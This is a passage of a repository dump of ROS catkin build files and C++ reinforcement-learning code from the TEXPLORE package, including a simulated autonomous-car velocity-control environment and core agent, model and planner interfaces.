DefaultLandmarks();\n };\n\nprivate:\n const Gridworld *const grid;\n std::vector<coord_t> landmarks; // not const because of randomize_landmarks\n const bool noisy;\n Random &rng;\n\n std::vector<float> s;\n bool fickle;\n\n float &ns;\n float &ew;\n float &pass;\n float &dest;\n\n /** Create the default gridworld */\n static const Gridworld *create_default_map();\n\n static const DefaultLandmarks defaultlandmarks;\n\n /** Corrupts a movement action.\n \\param action The intended action\n \\return The action actually executed */\n taxi_action_t add_noise(taxi_action_t action);\n\n /** If the domain is noisy and the taxi has just taken its first\n step since picking up the passenger, then potentially change the\n destination. */\n void apply_fickle_passenger();\n\n /** Randomly assigns the four landmarks to any four distinct\n positions in the world. */\n void randomize_landmarks();\n\n /** Randomly assigns the landmarks to positions near the corners of\n the map. */\n void randomize_landmarks_to_corners();\n};\n\n#endif\n" }, { "alpha_fraction": 0.780281662940979, "alphanum_fraction": 0.7887324094772339, "avg_line_length": 49.85714340209961, "blob_id": "73ef949951bbf549a8827dd540d945076e642dbc", "content_id": "0fcefe86ede41a869ec5bf01e39a61aaac40acff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 355, "license_type": "no_license", "max_line_length": 65, "num_lines": 7, "path": "/src/roundbot_control/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"roundbot_control\")\nset(roundbot_control_MAINTAINER \"micho <[email protected]>\")\nset(roundbot_control_DEPRECATED \"\")\nset(roundbot_control_VERSION \"0.0.0\")\nset(roundbot_control_BUILD_DEPENDS \"controller_interface\")\nset(roundbot_control_RUN_DEPENDS \"controller_interface\" \"roscpp\")\nset(roundbot_control_BUILDTOOL_DEPENDS \"catkin\" \"roscpp\")" }, { "alpha_fraction": 0.7864372730255127, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 21.953489303588867, "blob_id": "f40102b51609c4bb77de1cf551756045bd9477cc", "content_id": "969c03997aa2582936a87122295036b5140bb712", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 988, "license_type": "no_license", "max_line_length": 64, "num_lines": 43, "path": "/src/roundbot_control/CMakeLists.txt", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(roundbot_control)\n\nfind_package(catkin REQUIRED COMPONENTS\n roscpp\n controller_interface\n)\n\ncatkin_package(\n INCLUDE_DIRS include\n LIBRARIES wheel_speed_controller diff_controller\n)\n\ninclude_directories(\n include\n ${catkin_INCLUDE_DIRS}\n)\n\nadd_library(motor_sim src/MotorSim.cpp)\ntarget_link_libraries(motor_sim\n ${catkin_LIBRARIES}\n)\n\nadd_library(wheel_speed_controller src/WheelSpeedController.cpp)\ntarget_link_libraries(wheel_speed_controller\n ${catkin_LIBRARIES}\n motor_sim\n)\n\nadd_library(diff_controller src/DiffController.cpp)\ntarget_link_libraries(diff_controller\n ${catkin_LIBRARIES}\n motor_sim\n)\n\ninstall(TARGETS wheel_speed_controller diff_controller\n ARCHIVE DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION}\n LIBRARY DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION}\n RUNTIME DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION}\n )\n\ninstall(FILES roundbot_control_plugins.xml\n DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION})\n\n" }, { "alpha_fraction": 0.5598581433296204, "alphanum_fraction": 0.5926241278648376, "avg_line_length": 21.889610290527344, "blob_id": "c5647db6f8ec35b5daa66efaf7e9a341c0ba2f56", "content_id": "c5b1032fd53f03afcc38767375a340a911efde58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7050, "license_type": "no_license", "max_line_length": 135, "num_lines": 308, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/RobotCarVel.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file RobotCarVel.cc\n This domain is a simulation of velocity control for the Austin Robot \n Technology autonomous vehicle. \n This vehicle is described in:\n Beeson et al, \"Multiagent Interactions in Urban Driving,\" Journal of Physical Agents, March 2008.\n The velocity control task is described in:\n Hester, Quinlan, and Stone, \"A Real-Time Model-Based Reinforcement Learning Architecture for Robot Control\", arXiv 1105.1749, 2011.\n \\author Todd Hester\n*/\n\n#include <rl_env/RobotCarVel.hh>\n\n// normal: true values of each\nRobotCarVel::RobotCarVel(Random &rand, bool randomVel, bool upVel, bool tenToSix, bool lag):\n rng(rand),\n s(4),\n hidden(2),\n targetVel(s[0]),\n currVel(s[1]),\n trueThrottle(hidden[0]),\n trueBrake(hidden[1]),\n throttleTarget(s[2]),\n brakeTarget(s[3]),\n randomVel(randomVel),\n upVel(upVel),\n tenToSix(tenToSix),\n lag(lag)\n{\n reset();\n}\n \n\n\nRobotCarVel::~RobotCarVel() { }\n\nconst std::vector<float> &RobotCarVel::sensation() const { \n return s; \n}\n\nfloat RobotCarVel::apply(int action) {\n\n float HZ = 10.0;\n\n actNum++;\n\n // figure out reward based on target/curr vel\n float reward = -10.0 * fabs(currVel - targetVel);\n\n float throttleChangePct = 1.0;//0.9; //1.0;\n float brakeChangePct = 1.0;//0.9; //1.0;\n if (lag){\n brakeChangePct = brakePosVel / HZ;\n float brakeVelTarget = 3.0*(brakeTarget - trueBrake);\n brakePosVel += (brakeVelTarget - brakePosVel) * 3.0 / HZ;\n trueBrake += brakeChangePct;\n } else {\n trueBrake += (brakeTarget-trueBrake) * brakeChangePct;\n }\n trueBrake = bound(trueBrake, 0.0, 1.0);\n\n // figure out the change of true brake/throttle position based on last targets\n trueThrottle += (throttleTarget-trueThrottle) * throttleChangePct;\n trueThrottle = bound(trueThrottle, 0.0, 0.4);\n\n // figure out new velocity based on those positions \n // from the stage simulation\n float g = 9.81; // acceleration due to gravity\n float throttle_accel = g;\n float brake_decel = g;\n float rolling_resistance = 0.01 * g;\n float drag_coeff = 0.01;\n float idle_accel = (rolling_resistance\n + drag_coeff * 3.1 * 3.1);\n float wind_resistance = drag_coeff * currVel * currVel;\n float accel = (idle_accel\n + trueThrottle * throttle_accel\n - trueBrake * brake_decel\n - rolling_resistance\n - wind_resistance);\n currVel += (accel / HZ);\n currVel = bound(currVel, 0.0, 12.0);\n \n\n // figure out action's adjustment to throttle/brake targets\n if (action == THROTTLE_UP){\n brakeTarget = 0.0;\n if (throttleTarget < 0.4)\n throttleTarget += 0.1;\n }\n else if (action == THROTTLE_DOWN){\n brakeTarget = 0.0;\n if (throttleTarget > 0.0)\n throttleTarget -= 0.1;\n }\n else if (action == BRAKE_UP){\n throttleTarget = 0.0;\n if (brakeTarget < 1.0)\n brakeTarget += 0.1;\n }\n else if (action == BRAKE_DOWN){\n throttleTarget = 0.0;\n if (brakeTarget > 0.0)\n brakeTarget -= 0.1;\n }\n else if (action != NOTHING){\n cout << \"invalid action \" << action << endl;\n }\n throttleTarget = bound(throttleTarget, 0.0, 0.4);\n brakeTarget = bound(brakeTarget, 0.0, 1.0);\n throttleTarget = 0.1 * (float)((int)(throttleTarget*10.0));\n brakeTarget = 0.1 * (float)((int)(brakeTarget*10.0));\n \n /*\n cout << action << \", throt: \" << throttleTarget << \", brake: \" << brakeTarget\n << \", trueBrake: \" << trueBrake \n << \", currVel: \" << currVel << \", reward: \" << reward << endl;\n */\n\n return reward;\n\n}\n\n\nbool RobotCarVel::terminal() const {\n return false;\n}\n\n\n\nvoid RobotCarVel::reset() {\n\n // for now\n if (randomVel){\n targetVel = rng.uniformDiscrete(0, 11);\n currVel = rng.uniformDiscrete(0, 11);\n } else {\n if (tenToSix){ // 10 to 6\n if (upVel){\n targetVel = 10.0;\n currVel = 6.0;\n } else {\n targetVel = 6.0;\n currVel = 10.0;\n } \n } else { // 7 to 2\n if (upVel){\n targetVel = 7.0;\n currVel = 2.0;\n } else {\n targetVel = 2.0;\n currVel = 7.0;\n } \n }\n }\n\n actNum = 0;\n throttleTarget = rng.uniformDiscrete(0,4) * 0.1;\n brakeTarget = 0.0;\n trueThrottle = throttleTarget;\n trueBrake = brakeTarget;\n brakePosVel = 0.0;\n\n}\n\n\n\nint RobotCarVel::getNumActions(){\n return 5;\n}\n\n\nvoid RobotCarVel::setSensation(std::vector<float> newS){\n if (s.size() != newS.size()){\n cerr << \"Error in sensation sizes\" << endl;\n }\n\n for (unsigned i = 0; i < newS.size(); i++){\n s[i] = newS[i];\n }\n}\n\nstd::vector<experience> RobotCarVel::getSeedings() {\n\n // return seedings\n std::vector<experience> seeds;\n //return seeds;\n\n \n reset();\n\n /*\n // seeds of perfect velocity\n if (randomVel){\n for (int i = 0; i < 12; i++){\n // 3 random of each\n for (int j = 0; j < 3; j++)\n seeds.push_back(getRandomVelSeed(i));\n } \n } else {\n // just for target velocity\n // 5 random seeds\n for (int j = 0; j < 5; j++){\n seeds.push_back(getRandomVelSeed(targetVel));\n }\n }\n */\n\n \n // some completely random (non target)\n for (int i = 0; i < 25; i++){\n float vel = rng.uniform(0,11);\n\n float throt = 0;\n float brake = 0;\n if (rng.bernoulli(0.5)){\n throt = rng.uniformDiscrete(0,4)*0.1;\n } else {\n brake = rng.uniformDiscrete(0,9)*0.1;\n } \n int act = i%getNumActions();\n seeds.push_back(getExp(targetVel,vel,throt,brake,act));\n }\n\n reset();\n\n return seeds;\n}\n\nexperience RobotCarVel::getRandomVelSeed(float target){\n float throt = 0;\n float brake = 0;\n if (rng.bernoulli(0.5)){\n throt = rng.uniformDiscrete(0,4)*0.1;\n } else {\n brake = rng.uniformDiscrete(0,4)*0.1;\n } \n\n return getExp(target, target, throt, brake, rng.uniformDiscrete(0,4));\n}\n\nexperience RobotCarVel::getExp(float s0, float s1, float s2, float s3, int a){\n\n if (!randomVel) s0 = targetVel;\n\n experience e;\n\n e.s.resize(4, 0.0);\n e.next.resize(4, 0.0);\n\n targetVel = s0;\n currVel = s1;\n throttleTarget = s2;\n brakeTarget = s3;\n trueThrottle = throttleTarget;\n trueBrake = brakeTarget;\n brakePosVel = 0.0;\n\n e.act = a;\n e.s = sensation();\n e.reward = apply(e.act);\n\n e.terminal = terminal();\n e.next = sensation();\n\n /*\n cout << \"seed from state: \";\n for (unsigned i = 0; i < e.s.size(); i++){\n cout << e.s[i] << \", \";\n } \n cout << \"act: \" << e.act << \" reward: \" << e.reward << \" next: \";\n for (unsigned i = 0; i < e.next.size(); i++){\n cout << e.next[i] << \", \";\n } \n cout << endl;\n */\n\n reset();\n\n return e;\n}\n\n\nvoid RobotCarVel::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n \n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 12.0);\n\n (*maxFeat)[2] = 0.4;\n (*maxFeat)[3] = 1.0;\n\n}\n\nvoid RobotCarVel::getMinMaxReward(float *minR,\n float *maxR){\n \n *minR = -120.0;\n *maxR = 0.0; \n \n}\n\nfloat RobotCarVel::bound(float val, float min, float max){\n if (val < min)\n return min;\n if (val > max)\n return max;\n return val;\n}\n" }, { "alpha_fraction": 0.7822349667549133, "alphanum_fraction": 0.7908309698104858, "avg_line_length": 49, "blob_id": "c58c6de0972a2ef6b80a3a649aa85176391da3f0", "content_id": "4e553c30fd0f94deae2c74a30f94bbb2da801cd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 349, "license_type": "no_license", "max_line_length": 54, "num_lines": 7, "path": "/src/roundbot_description/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"roundbot_description\")\nset(roundbot_description_MAINTAINER \"micho <[email protected]>\")\nset(roundbot_description_DEPRECATED \"\")\nset(roundbot_description_VERSION \"0.0.0\")\nset(roundbot_description_BUILD_DEPENDS \"urdf\" \"xacro\")\nset(roundbot_description_RUN_DEPENDS \"urdf\" \"xacro\")\nset(roundbot_description_BUILDTOOL_DEPENDS \"catkin\")" }, { "alpha_fraction": 0.6486238241195679, "alphanum_fraction": 0.660717248916626, "avg_line_length": 27.34515380859375, "blob_id": "6387bbe93445b4b98e1a394acaaea628b37cc46d", "content_id": "458e3021bedd9604acc9a177719abb7856f01ef1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11990, "license_type": "no_license", "max_line_length": 118, "num_lines": 423, "path": "/src/rl-texplore-ros-pkg-master/src/rl_common/include/rl_common/core.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _RLCORE_H_\n#define _RLCORE_H_\n\n#include \"Random.h\"\n#include <vector>\n#include <map>\n\n\n/** \\file\n Fundamental declarations for the universal concepts in the\n reinforcement learning framework.\n \\author Nick Jong\n \\author Todd Hester\n*/\n\n\n// types of models\n#define RMAX 0\n#define TABULAR 0\n#define SLF 1\n#define C45TREE 2\n#define SINGLETREE 3\n#define SVM 4\n#define STUMP 5\n#define M5MULTI 6\n#define M5SINGLE 7\n#define M5ALLMULTI 8\n#define M5ALLSINGLE 9 \n#define LSTMULTI 10\n#define LSTSINGLE 11\n#define ALLM5TYPES 12\n#define GPREGRESS 13\n#define GPTREE 14\n\nconst std::string modelNames[] = {\n \"Tabular\",\n \"SLF\",\n \"C4.5 Tree\",\n \"Single Tree\",\n \"SVM\",\n \"Stump\",\n \"M5 Tree\",\n \"M5 Tree\",\n \"M5 Tree\",\n \"M5 Tree\",\n \"LS Tree\",\n \"LS Tree\",\n \"M5 Combo\",\n \"GP Regression\",\n \"GP Tree\"\n};\n\n// types of model combos\n#define AVERAGE 1\n#define WEIGHTAVG 2\n#define BEST 3\n#define SEPARATE 4 // sep model for planning, and forest for uncertainty\n\nconst std::string comboNames[] = {\n \"Average\",\n \"Weighted Average\",\n \"Best\",\n \"Separate\"\n};\n\n// types of exploration\n#define EXPLORE_UNKNOWN 0\n#define TWO_MODE 1\n#define TWO_MODE_PLUS_R 2\n#define CONTINUOUS_BONUS 3\n#define THRESHOLD_BONUS 4\n#define CONTINUOUS_BONUS_R 5\n#define THRESHOLD_BONUS_R 6\n#define NO_EXPLORE 7\n#define GREEDY 7\n#define EPSILONGREEDY 8\n#define VISITS_CONF 9\n#define UNVISITED_BONUS 11\n#define UNVISITED_ACT_BONUS 13\n#define DIFF_AND_VISIT_BONUS 16\n#define NOVEL_STATE_BONUS 18\n#define DIFF_AND_NOVEL_BONUS 19\n\nconst std::string exploreNames[] = {\n \"Explore Unknowns\",\n \"Two Modes\",\n \"Two Models +R\",\n \"Continuous Bonus\",\n \"Threshold Bonus\",\n \"Continuous Bonus +R\",\n \"Threshold Bonus +R\",\n \"Greedy\",\n \"Epsilon-Greedy\",\n \"Visits Confidence\",\n \"Type 10\",\n \"Unvisited State Bonus\",\n \"Type 12\", \n \"Unvisited Action Bonus\",\n \"Type 14\",\n \"Type 15\",\n \"Model Diff & Visit Bonus\",\n \"Type 17\",\n \"FeatDist Bonus\",\n \"Model Diff & FeatDist Bonus\"\n};\n\n// types of planners\n#define VALUE_ITERATION 0\n#define POLICY_ITERATION 1\n#define PRI_SWEEPING 2\n#define UCT 3\n#define ET_UCT 4\n#define ET_UCT_WITH_ENV 5\n#define SWEEPING_UCT_HYBRID 6\n#define CMAC_PLANNER 7\n#define NN_PLANNER 8\n#define MOD_PRI_SWEEPING 9\n#define ET_UCT_L1 10\n#define UCT_WITH_L 11\n#define UCT_WITH_ENV 12\n#define PARALLEL_ET_UCT 13\n#define ET_UCT_ACTUAL 14\n#define ET_UCT_CORNERS 15\n#define PAR_ETUCT_ACTUAL 16\n#define PAR_ETUCT_CORNERS 17\n#define POMDP_ETUCT 18\n#define POMDP_PAR_ETUCT 19\n#define MBS_VI 20\n\nconst std::string plannerNames[] = {\n \"Value Iteration\",\n \"Policy Iteration\",\n \"Prioritized Sweeping\",\n \"UCT\",\n \"UCT\",\n \"UCT\",\n \"Sweeping UCT Hybrid\",\n \"CMACs\",\n \"NN\",\n \"Mod. Pri Sweeping\",\n \"UCT L=1\",\n \"UCT L\",\n \"UCT Env\",\n \"Parallel UCT\",\n \"Real-Valued UCT\",\n \"Corner UCT\",\n \"Parallel Real-Valued UCT\",\n \"Parallel Corner UCT\",\n \"Delayed UCT\",\n \"Parallel Delayed UCT\",\n \"Model Based Simulation - VI\"\n};\n \n\n\n#define EPSILON 1e-5\n\n/** Experience <s,a,s',r> struct */\nstruct experience {\n std::vector<float> s;\n int act;\n float reward;\n std::vector<float> next;\n bool terminal;\n};\n\n/** Training instances for prediction models */\nstruct modelPair {\n std::vector<float> in;\n std::vector<float> out;\n};\n\n/** Training instances for classification models */\nstruct classPair {\n std::vector<float> in;\n float out;\n};\n\n/** Interface for an environment, whose states can be represented as\n vectors of floats and whose actions can be represented as ints.\n Implementations of the Environment interface determine how actions\n influence sensations. Note that this design assumes only one\n agent: it would be more accurate to name this interface\n EnvironmentAsPerceivedByOneParticularAgent. */\nclass Environment {\npublic:\n /** Provides access to the current sensation that the environment\n gives to the agent.\n \\return The current sensation. */\n virtual const std::vector<float> &sensation() const = 0;\n\n /** Allows an agent to affect its environment.\n \\param action The action the agent wishes to apply.\n \\return The immediate one-step reward caused by the action. */\n virtual float apply(int action) = 0;\n\n /** Determines whether the environment has reached a terminal state.\n \\return true iff the task is episodic and the present episode\n has ended. Nonepisodic tasks should simply always\n return false. */\n virtual bool terminal() const = 0;\n\n /** Resets the internal state of the environment according to some\n initial state distribution. Typically the user calls this only\n for episodic tasks that have reached terminal states, but this\n usage is not required. */\n virtual void reset() = 0;\n\n /** Returns the number of actions available in this environment.\n \\return The number of actions available */\n virtual int getNumActions() = 0;\n\n /** Gets the minimum and maximum of the features in the environment.\n */\n virtual void getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat) = 0;\n\n /** Gets the minimum and maximum one-step reward in the domain. */\n virtual void getMinMaxReward(float *minR, float *maxR) = 0;\n\n /** Returns if the domain is episodic (true by default). */\n virtual bool isEpisodic(){ return true; };\n\n /** Get seeding experiences for agent. */\n virtual std::vector<experience> getSeedings()\n {\n std::vector<experience> e;\n return e;\n } ;\n\n /** Set the current state for testing purposes. */\n virtual void setSensation(std::vector<float> s){};\n\n virtual ~Environment() {};\n\n};\n\n/** Interface for an agent. Implementations of the Agent interface\n determine the choice of actions given previous sensations and\n rewards. */\nclass Agent {\npublic:\n /** Determines the first action that an agent takes in an\n environment. This method implies that the environment is\n currently in an initial state.\n \\param s The initial sensation from the environment.\n \\return The action the agent wishes to take first. */\n virtual int first_action(const std::vector<float> &s) = 0;\n\n /** Determines the next action that an agent takes in an environment\n and gives feedback for the previous action. This method may\n only be called if the last method called was first_action or\n next_action.\n \\param r The one-step reward resulting from the previous action.\n \\param s The current sensation from the environment.\n \\return The action the agent wishes to take next. */\n virtual int next_action(float r, const std::vector<float> &s) = 0;\n\n /** Gives feedback for the last action taken. This method may only\n be called if the last method called was first_action or\n next_action. It implies that the task is episodic and has just\n terminated. Note that terminal sensations (states) are not\n represented.\n \\param r The one-step reward resulting from the previous action. */\n virtual void last_action(float r) = 0;\n\n /** Set some debug flags on/off */\n virtual void setDebug(bool d) = 0;\n\n /** Use the model seeds from the environment to initialize the agent or its model */\n virtual void seedExp(std::vector<experience> seeds) {};\n\n /** Save the current policy to a file */\n virtual void savePolicy(const char* filename) {};\n\n virtual ~Agent() {};\n};\n\n/** Interface for a model that predicts a vector of floats given a vector of floats as input. */\nclass Model {\npublic:\n /** Train the model on a vector of training instances */\n virtual bool trainInstances(std::vector<modelPair> &instances) = 0;\n\n /** Train the model on a single training instance */\n virtual bool trainInstance(modelPair &instance) = 0;\n\n /** Get the model's prediction for a given input */\n virtual std::vector<float> testInstance(const std::vector<float> &in) = 0;\n\n virtual ~Model() {};\n};\n\n/** Interface for a classification model that predicts a class given a vector of floats as input. */\nclass Classifier {\npublic:\n /** Train the model on a vector of training instances */\n virtual bool trainInstances(std::vector<classPair> &instances) = 0;\n\n /** Train the model on a single training instance */\n virtual bool trainInstance(classPair &instance) = 0;\n\n /** Get the model's prediction for a given input */\n virtual void testInstance(const std::vector<float> &in, std::map<float, float>* retval) = 0;\n\n /** Get the model's confidence in its predictions for a given input. */\n virtual float getConf(const std::vector<float> &in) = 0;\n\n /** Get a copy of the model */\n virtual Classifier* getCopy() = 0;\n\n virtual ~Classifier() {};\n};\n\n/** All the relevant information predicted by a model for a given state-action.\n This includes predicted reward, next state probabilities, probability of episod termination, and model confidence.\n*/\nstruct StateActionInfo {\n bool known;\n float reward;\n float termProb;\n int frameUpdated;\n\n // map from outcome state to probability\n std::map< std::vector<float> , float> transitionProbs;\n\n StateActionInfo(){\n known = false;\n reward = 0.0;\n termProb = 0.0;\n frameUpdated = -1;\n };\n};\n\n\n/** Interface for a model of an MDP. */\nclass MDPModel {\npublic:\n /** Update the MDP model with a vector of experiences. */\n virtual bool updateWithExperiences(std::vector<experience> &instances) = 0;\n\n /** Update the MDP model with a single experience. */\n virtual bool updateWithExperience(experience &instance) = 0;\n\n /** Get the predictions of the MDP model for a given state action */\n virtual float getStateActionInfo(const std::vector<float> &state, int action, StateActionInfo* retval) = 0;\n\n /** Get a copy of the MDP Model */\n virtual MDPModel* getCopy() = 0;\n virtual ~MDPModel() {};\n};\n\n/** Interface for planners */\nclass Planner {\npublic:\n /** Give the planner the model being used with the agent */\n virtual void setModel(MDPModel* model) = 0;\n\n /** Update the given model with an experience <s,a,s',r>. */\n virtual bool updateModelWithExperience(const std::vector<float>& last,\n int act,\n const std::vector<float>& curr,\n float reward, bool terminal) = 0;\n\n /** Plan a new policy suing the current model. */\n virtual void planOnNewModel() = 0;\n\n /** Return the best action for a given state. */\n virtual int getBestAction(const std::vector<float> &s) = 0;\n\n /** Save the policy to a file. */\n virtual void savePolicy(const char* filename) {};\n\n /** Set whether the next experiences are seeds or actual experiences from the agent. */\n virtual void setSeeding(bool seeding) {};\n\n /** Set if this is the first experience of the agent. */\n virtual void setFirst() {};\n\n /** A method to return at random one of the maximum values in the vector. \n Such that when more than one actions are optimal, we select one of them at random.\n */\n std::vector<float>::iterator\n random_max_element(std::vector<float>::iterator start,\n\t\t std::vector<float>::iterator end) {\n const float Q_EPSILON = 1e-4;\n \n std::vector<float>::iterator max =\n std::max_element(start, end);\n\n // find # within epsilon of max\n int nfound = 0;\n for (std::vector<float>::iterator it = start; it != end; it++){\n if (fabs(*it - *max) < Q_EPSILON){\n nfound++;\n }\n }\n \n // only 1: take it\n if (nfound == 1)\n return max;\n\n // take one of close to max at random\n for (std::vector<float>::iterator it = start; it != end; it++){\n if (fabs(*it - *max) < Q_EPSILON){\n if (rng.uniform() < (1.0 / (float)nfound)){\n return it;\n }\n nfound--;\n }\n }\n \n return max;\n };\n\n virtual ~Planner() {};\n \n Random rng;\n\n};\n\n\n#endif\n" }, { "alpha_fraction": 0.6849710941314697, "alphanum_fraction": 0.6849710941314697, "avg_line_length": 14.311111450195312, "blob_id": "acc207bf7ddeebfd354dc4b2f5d93d902a72130a", "content_id": "7b8aba35ac041d179a1b7ffb592c3dc30454694a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 692, "license_type": "no_license", "max_line_length": 77, "num_lines": 45, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/MultipleModels.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _MULTIPLEMODELS_HH_\n#define _MULTIPLEMODELS_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n\n\n\n/** Multiple Models */\nclass MultipleModels: public Model {\n\npublic:\n\n MultipleModels(int id, int nInput, int nOutput, int modelType, Random rng);\n\n virtual ~MultipleModels();\n\n\n\n\n\n virtual bool trainInstance(std::vector<float> input, \n\t\t\t std::vector<float> output);\n virtual std::vector<float> testInstance(std::vector<float> input);\n \n // helper functions\n void createModels();\n\nprivate:\n\n const int id;\n const int nInput; \n const int nOutput;\n const int type;\n \n Random rng;\n\n // MODELS\n std::vector<Model*> models;\n\n};\n\n\n#endif\n \n" }, { "alpha_fraction": 0.781899094581604, "alphanum_fraction": 0.781899094581604, "avg_line_length": 50.846153259277344, "blob_id": "db771a1f56a940624ccd0256fe9865d768b65f50", "content_id": "91292f22f1dba7f06d60b08f0a1ec22f8f2e7ed9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 674, "license_type": "no_license", "max_line_length": 91, "num_lines": 13, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_lisp.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/rl_msgs_generate_messages_lisp\"\n \"/home/justin/ros_test/devel/share/common-lisp/ros/rl_msgs/msg/RLEnvSeedExperience.lisp\"\n \"/home/justin/ros_test/devel/share/common-lisp/ros/rl_msgs/msg/RLExperimentInfo.lisp\"\n \"/home/justin/ros_test/devel/share/common-lisp/ros/rl_msgs/msg/RLEnvDescription.lisp\"\n \"/home/justin/ros_test/devel/share/common-lisp/ros/rl_msgs/msg/RLStateReward.lisp\"\n \"/home/justin/ros_test/devel/share/common-lisp/ros/rl_msgs/msg/RLAction.lisp\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/rl_msgs_generate_messages_lisp.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7771260738372803, "alphanum_fraction": 0.7829912304878235, "avg_line_length": 41.6875, "blob_id": "33a8cd993beb49e092b9720fd3ad755e3357cff5", "content_id": "16425e57ecbd64f042cd8088102d8e40e86ff2e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 682, "license_type": "no_license", "max_line_length": 54, "num_lines": 16, "path": "/build/roundbot_gazebo/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"roundbot_gazebo\")\nset(roundbot_gazebo_VERSION \"0.0.0\")\nset(roundbot_gazebo_MAINTAINER \"micho <[email protected]>\")\nset(roundbot_gazebo_PACKAGE_FORMAT \"1\")\nset(roundbot_gazebo_BUILD_DEPENDS \"gazebo_ros\")\nset(roundbot_gazebo_BUILD_EXPORT_DEPENDS \"gazebo_ros\")\nset(roundbot_gazebo_BUILDTOOL_DEPENDS \"catkin\")\nset(roundbot_gazebo_BUILDTOOL_EXPORT_DEPENDS )\nset(roundbot_gazebo_EXEC_DEPENDS \"gazebo_ros\")\nset(roundbot_gazebo_RUN_DEPENDS \"gazebo_ros\")\nset(roundbot_gazebo_TEST_DEPENDS )\nset(roundbot_gazebo_DOC_DEPENDS )\nset(roundbot_gazebo_URL_WEBSITE \"\")\nset(roundbot_gazebo_URL_BUGTRACKER \"\")\nset(roundbot_gazebo_URL_REPOSITORY \"\")\nset(roundbot_gazebo_DEPRECATED \"\")" }, { "alpha_fraction": 0.7801418304443359, "alphanum_fraction": 0.7943262457847595, "avg_line_length": 34.25, "blob_id": "3c7d5f23f783d4ab2c58abbbaaf086772de0c155", "content_id": "4bd5cd89a281da4e00508780581d1b50c82a08d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 141, "license_type": "no_license", "max_line_length": 63, "num_lines": 4, "path": "/devel/share/homework2/cmake/homework2-msg-paths.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from genmsg/cmake/pkg-msg-paths.cmake.develspace.in\n\nset(homework2_MSG_INCLUDE_DIRS \"\")\nset(homework2_MSG_DEPENDENCIES std_msgs)\n" }, { "alpha_fraction": 0.7114960551261902, "alphanum_fraction": 0.7124409675598145, "avg_line_length": 30.719999313354492, "blob_id": "fbe45b152ad1b750e1f48a46d4590d914a0b303f", "content_id": "abb88e6f44fcb68ada66a54b7177ee266bb2ae4e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3175, "license_type": "no_license", "max_line_length": 138, "num_lines": 100, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/MultipleClassifiers.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file MultipleClassifiers.hh\n Defines the Multiple Classifiers class, which uses an ensemble of classifiers, such as a set of decision trees in a random forest.\n \\author Todd Hester\n*/\n\n#ifndef _MULTCLASS_HH_\n#define _MULTCLASS_HH_\n\n#include \"../Models/C45Tree.hh\"\n#include \"../Models/M5Tree.hh\"\n#include \"../Models/LinearSplitsTree.hh\"\n\n#include \"../Models/Stump.hh\"\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <set>\n#include <map>\n\n/** Multiple Classifiers class: uses an ensemble of classifiers, such as a set of decision trees in a random forest */\nclass MultipleClassifiers: public Classifier {\n\npublic:\n\n /** Default Constructor\n \\param id identify the model\n \\param modelType identifies which type of model to use\n \\param predType identifies how to combine multiple models\n \\param nModels # of models to use for ensemble models (i.e. random forests)\n \\param trainMode build every step? only on errors? every freq steps?\n \\param trainFreq frequency of model building if using latter mode\n \\param featPct pct of features to remove from set used for each tree split\n \\param expPct pct of experiences to give to each model\n \\param treeThreshold determines the amount of error to be tolerated in the tree (prevents over-fitting with larger and larger trees)\n \\param stoch if the domain is stochastic or deterministic\n \\param rng Random Number Generator \n */\n MultipleClassifiers(int id, int modelType, int predType, int nModels, \n int trainMode, int trainFreq,\n float featPct, float expPct, float treeThreshold,\n bool stoch, float featRange, Random rng);\n\n /** Copy constructor */\n 